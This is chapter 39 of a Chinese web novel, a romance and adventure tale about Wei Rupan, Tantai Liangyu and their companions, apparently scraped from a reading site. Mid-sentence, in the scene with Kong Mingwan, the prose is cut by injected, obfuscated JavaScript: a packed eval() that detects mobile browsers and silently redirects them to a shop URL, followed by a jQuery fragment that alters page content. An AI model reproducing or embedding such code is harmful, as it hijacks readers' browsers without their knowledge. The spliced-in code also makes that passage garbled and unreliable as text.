39. 第三十九章

作品:《汝盼山河(蒸汽朋克)

    阿毛回来迫不及待地找澹台良屿讲悄悄话,手里仍攥着半块没舍得吃完的梨干。


    小郎君从自己最初嗷呜嗷呜狼嚎大展兽性讲起,再到溶洞里蝙蝠群袭,说到魏汝盼甩鞭救孔明碗、急智火攻,又讲到潭边取燧砂治伤,生动传神,连大黑驴受惊的模样都模仿得惟妙惟肖。


    “当时蝙蝠像黑云一样压过来,我还以为要被吃掉了。多亏小十二,她可厉害了,咻咻几箭,用火把蝙蝠全赶跑了。”


    一桩桩一件件,说着说着,阿毛的话锋总会不知不觉转回魏汝盼身上。


    讲起魏汝盼辨认燧砂时,他眼睛亮闪闪夸十二什么都懂,说起魏汝盼护着他躲蝙蝠,又会仰着小脸叹十二比大英雄还勇敢。


    旁人听着便知,那些惊险见闻不过是铺垫,他满心满眼,真正要讲的从来都是一句:“所以我们十二,最最厉害呀!”


    澹台良屿坐在一旁静静听阿毛讲述,指尖无意识摩挲着掌心。原只当几人是进山赏春,又有孔明碗随护,万没料到会遭遇这般凶险,心底悄然泛起一丝后怕。


    他几乎能看见那幅画面:冰凉的潭水里她孤身直面漫天蝙蝠,果敢、坦荡。


    魏汝盼回来后,对山中惊险只字未提,许是不想再吓到孙鹤宁,仿佛那场惊心动魄从未发生。


    少女给他带了一片花瓣,说花朵太美,花开正盛,她没舍得摘,只接住风吹落的这一片。


    她说着,忽然调皮地将花瓣往发间一插,鬓边碎发衬着粉瓣,整个人化作春日里最鲜活的光,比繁花更灵动。


    魏汝盼轻退半步,乐盈盈望向澹台良屿,眸底映着天光,晕出剔透的粉,与山间轻雾缠绕,轻易将人裹浸蜜糖里。


    “三哥,你帮我摘下来好不好?”少女声音也软乎乎的,几分撒娇意味。


    那一刻,澹台良屿只觉时光被放缓了千万倍。山间的风停了,雀鸟叽叽喳喳的鸣声远了,雀鸣渐远,那片花瓣轻贴在她鬓角,软得像一片羽毛。


    他久经沙场,面对千军万马也能稳如泰山,却从未有过这样的经验,一只小鹿轻易撞乱了他的心绪。


    澹台良屿不假思索,顺从本心伸出手,指尖缓缓靠近她发间。指腹先触到柔软的花瓣,那触感比丝绸还要细腻,鼻尖又漫开一丝若有若无的清甜,是花的香,也是她发间的气息。


    他捏着花瓣,有些无措:该用多大的力气?或轻、或重?


    轻了怕捏不住,重了又怕伤了花瓣,更怕碰着她的发。这只杀敌无数的手,此刻竟连一片花瓣都不知该如何拿捏,心跳擂得促过沙场战鼓。


    可他依旧极认真,指尖的动作轻得像怕惊扰了春日。对待魏汝盼的事,他向来都是这般郑重。


    不等他将花瓣完全取下,魏汝盼已亲昵地挽住他手臂,脑袋轻轻靠了靠他的肩膀,语气甜软又欢喜:“我就知道你会喜欢!”


    她半字不提进山的艰险,只雀跃地分享着这片花瓣的由来,献宝般把自己的欢喜都捧到他面前。


    澹台良屿心间暖意顿生,能收到这样一片载着她心意的花瓣,是此生莫大荣幸。


    ******


    晨光透过竹窗,柔柔洒进内室。


    阿毛端坐案前,今日案上不见书卷,只摊着几本厚厚的账册。


    王朗躬身立于案侧,将历年各地商会的经营情形一一禀明,“这是昨日统计出的存银数额,产业明细皆在此列。请殿下过目。”


    小郎君好奇地探身望去,目光落在账册上的数字时,不由得轻“呀”了一声,满眼惊讶,那数字远比他预想中要多,密密麻麻的看得他有些眼花缭乱。


    王朗见他诧异,连忙补充:“殿下,这些仅是目前飞瀑岭可调用的存银,算不得多。”


    不多?!


    这还不算多?阿毛虽年幼,却记得当年二十万大军整年的军饷,也不过是这个数。在他看来,能有这么多存银,已是极为可观。


    王朗闻言,嘴角微微上扬,继续说道:“若是加上分散在全国各地的商会资产,连同名下的矿场、工坊,合计已超千万。”


    阿毛不禁愕然,眼睛瞪得溜圆,下意识望向案后的澹台良屿和孙鹤宁。


    难怪孙先生这些日子总被王朗请去协助盘账,原来要算的竟是这么庞大的数目。他从前只当王朗常年在飞瀑岭劫富济贫,却不知积攒下如此雄厚的家底。


    王朗笑了笑,这劫富济贫也是真真假假。


    这些钱财一部分是前朝留下来的,藏在隐秘之处暗中运作。另一部分则是入股袁诀的商贸生意,钱生钱,利滚利,实打实赚的钱。二十年攒到这个数,倒也算不得稀奇。


    说到此处,王朗顿了顿,语气添了几分坦诚:“只是需如实回禀殿下,眼下还报不出精确数目。以往各地分号众多,账目繁杂,历来开春后才会集中盘账,待所有账目核对无误、正式合计完毕,再细细呈给殿下过目。”


    他话锋一转,郑重保证:“殿下尽可放心,日后您不需再为钱财之事,有半分顾虑。”


    “大当家的辛苦了,往后还需劳你多多费心打理。”


    阿毛轻轻点头,心里翻起波澜。他此番秘密回归,要做的是改朝换代的大事,招兵买马、粮草器械,哪一样离得开巨额银钱支撑。王朗此刻亮出家底,便是要给他一颗定心丸。


    从前阿毛从未真正沾过钱财之事,只道有兵有将便可成事。直到此刻,他才真正明白金银分量,那一本本账册上密密麻麻的数字,藏的是成事底气,是支撑他们一步步走下去的基石。


    ******


    阿毛与王朗在屋内议事时,魏汝盼回来便看见孔明碗大马金刀守在院门口,脊背挺得笔直。日光照在他身上,将影子拉得颀长。


    “孔明碗!”


    魏汝盼脆生生喊了声,孔明碗纹丝不动,眼帘都没抬一下。


    魏汝盼见状,脚步轻快地绕到他跟前一跳,猝不及防撞进他视线里。


    少女热腾腾的气息忽然扑面而来,眼里闪着狡黠的光。孔明碗喉结不自觉地动了动,握着刀柄的手紧了紧,才勉强绷住一脸镇定。


    “你伤好些没?”她歪着头问。


    孔明碗抿了抿唇,没立刻应声。


    毛茸茸的脑袋可爱一偏,换个方向,又问,“老爹罚你没?”


    王朗命孔明碗保护阿毛周全,先前他们几个被金蝙蝠追得那般狼狈,他原是做好了受责罚的准备。


    孔明碗摇了摇头,声音低沉:“未曾,只吩咐我日后更谨慎些。”


    “那就好!”魏汝盼眼角弯成月牙:“说起来,当初真该活捉一只金蝙蝠玩玩!那玩意儿可是万里挑一的稀罕物,当时光顾着跑了,竟没顾上。”她语气里满是惋惜,没有半分后怕。


    孔明碗看着她鲜活的模样,是真的乐观豁达,那般凶险境地,到她口中竟轻描淡写成“没顾上抓稀罕物”,不知情的人还以为她下山赶了趟墟集。


    魏汝盼察觉到他的心思,扬唇一笑,意气风发,“我堂堂山大王,哪能那么短命?”


    这股没心没肺的快活,像春日暖阳,轻易就驱散了人心头的沉闷。孔明碗心里清楚,近日飞瀑岭早已不同往日。练兵比往常勤了数倍,往来传信的人也多了,老爹更是整日严肃着脸,见了好些他从未见过的生面孔。


    他隐隐觉得,要有大事发生。老爹越是瞒着不说,他越能察觉,这事关重大。


    孔明碗紧绷的嘴角微微松动,终是卸下几分心防,顺着她的话头道:“你这性子,倒比男子还洒脱。”


    那是自然!魏汝盼得意地扬了扬下巴,目光转向院中那棵老槐树。枝桠已抽出嫩黄的新芽,风一吹,清香四溢,满眼生机。她想念起喀兰若,离开那日,雪终于有了消融的迹象,只可惜,没能等到满山春色。


    少女眺望远方,眼神里有怀念,更多的是释然:“以前我一辈子没出过远门,总以为喀兰若的山最好看。可现在见识到,别处春色也各有滋味,样样都新鲜。”正如阿爹所言,人生走到哪都有新风景,不必总困在一隅原地。


    孔明碗正认真听她说话,冷不防地,少女倏然凑近,鼻尖几乎要碰到他的,他吓了一大跳,下意识往后踉跄半步。


    “欸!孔明碗,我发现你变了。”魏汝盼笑嘻嘻道。


    “变?我、我没变......”孔明碗不自然地别开眼。


    “就是变了!”魏汝盼语气笃定,“以前我跟你说话,每回都是对着石头唱单簧。现在你肯同我好好说话了,说明我是个顶厉害的人,连石头都被我捂热了。”


    孔明碗抿紧唇,这话竟让他无从反驳,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17225622|192109||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    只能沉默地移开视线。


    恰在此时,院墙上有只野猫悠哉哉走过,魏汝盼怀里的鹦鹉忽然“扑棱”一声飞了出去,嘴里还叫着“打!打!”


    这鹦鹉在喀兰若时,常跟山里的猞猁狲打架,仗着有山大王般的主人,见了毛绒绒的活物就想凑上去显威风。


    “剪剪风!你这小东西,这会子又敢出来蹦跶了?蝙蝠来的时候,是谁缩在我怀里直发抖?”


    鹦鹉歪着脑袋,圆溜溜的眼珠一转,声音与她平时说话的语气一般无二,“现在你肯同我好好说话了,说明我是个顶厉害的人。”


    连神态、动作也跟主人一模一样,孔明碗看着,嘴角不自觉轻轻弯了起来。


    ******


    待王朗一行人离开,澹台良屿走到院廊,见魏汝盼还站在槐树下,正仰头观察新抽的嫩芽。


    唯有一抹阳光落在她发间,镀上一层柔和光晕。


    四目相对那一瞬,周遭的喧嚣忽然都静了。


    他看见她的脸,看见盈盈的眸,看见弯成月牙的唇角。


    世上大抵没有比她性子更暖亮的人了。倘或换作他人,骤逢重大变故,怕是早已消沉黯淡,偏她依旧热忱鲜活。譬如他自己,常年身处军营,惯了肃杀与隐忍,实在是很难做到。


    魏汝盼也在看他。


    日光穿过树叶缝隙,碎碎落在澹台良屿身上,将他墨色的衣袍染出斑驳光影。风轻轻一拂,他整个人浸在光影中。


    魏汝盼拈起一片新抽的竹箨,嫩青外壳裹着新竹独有的生机,摸起来带点儿韧劲,跟澹台良屿很像:挺拔、端方,一身朗朗风骨。那份对信念的坚守,静默无声,却自有千钧分量。


    他很好看,笑起来更甚,恣意少年气由此溢出,让魏汝盼对他的印象一点点彻底改观。


    以前听过的话在她眼前形成了画面,战场上的、军营里的、传说中的......莫非他素日的威严是刻意为之?只要一笑,那股让敌寇胆寒的凌厉,便瞬间散了。


    这样的人,究竟是怎样的存在呢?有关澹台良屿的,魏汝盼思绪飘远,总会想很多,总觉得没想够。


    时光叠影,春树暮云,她看到山间的每一株草、每一朵花,恰巧她心之所往,恰巧都与澹台良屿这四个字紧紧缠系。脱离了俗世的风花雪月,比任何儿女情长都更显壮阔。


    冥冥之中似有一缕牵引,魏汝盼忽觉心里有什么东西被触动了:像山间的铃与远方的钟遥遥相应,像春芽与暖阳默契相生,这是一种极清、极奇的心意,无关身份,不问阅历,是宿命里,自然而然的相吸。


    先前她还好奇,澹台良屿究竟忠于何人?为何而战?


    此刻她无比笃定:他们本是一样的人。


    高山流水,方得知音;彩云追月,终遇知己。于茫茫人海间,她找到了那颗与自己同辉的星。


    行同趋同,千里相从,原来古人说的,从不是虚言。


    羲和走驭趁年光,不许人间日月长。


    脑中忽有字句纷至沓来,噼里啪啦连缀成篇。


    啊!魏汝盼自己先一愣,悟啦?开窍啦?什么时候她竟也能不费吹灰之力引文据典了?


    少女挠挠头,嘿嘿嘿,突然自己乐开了。定是他太好看了,才勾得她思绪翻飞,无声浇灌出满腹文思,好配得上这眼前景、心上人。


    心念一动,魏汝盼直起身,向他行了一礼。


    这一拜,澹台良屿也下意识地跟着俯身回礼。


    她眉眼含笑,端端正正再弯下腰,二拜。


    他亦跟着毕恭毕敬,深深回了一躬。


    两人一俯一仰间,槐花瓣从头顶簌簌落下,如蝶似雪,将两道身影覆在一起。


    待魏汝盼第三次弯腰时,澹台良屿已然收了心神,认认真真与她对拜。


    两人都没料到对方会如此,躬身时四目相撞,皆是一怔,却又不约而同地弯下腰去。衣袍沾满落花,随着动作翩翩拂落。


    花雨纷飞里,一拜、再拜、三拜,抵过世间万语千言。


    咦?


    他俩在干嘛呢?


    阿毛站在一旁,瞧得不明所以,恍惚有种错觉:这三次对拜,像在冥冥中结下了一道看不见的牵绊,要将余生岁月流光,牢牢系作一处,再也拆不开、散不掉了。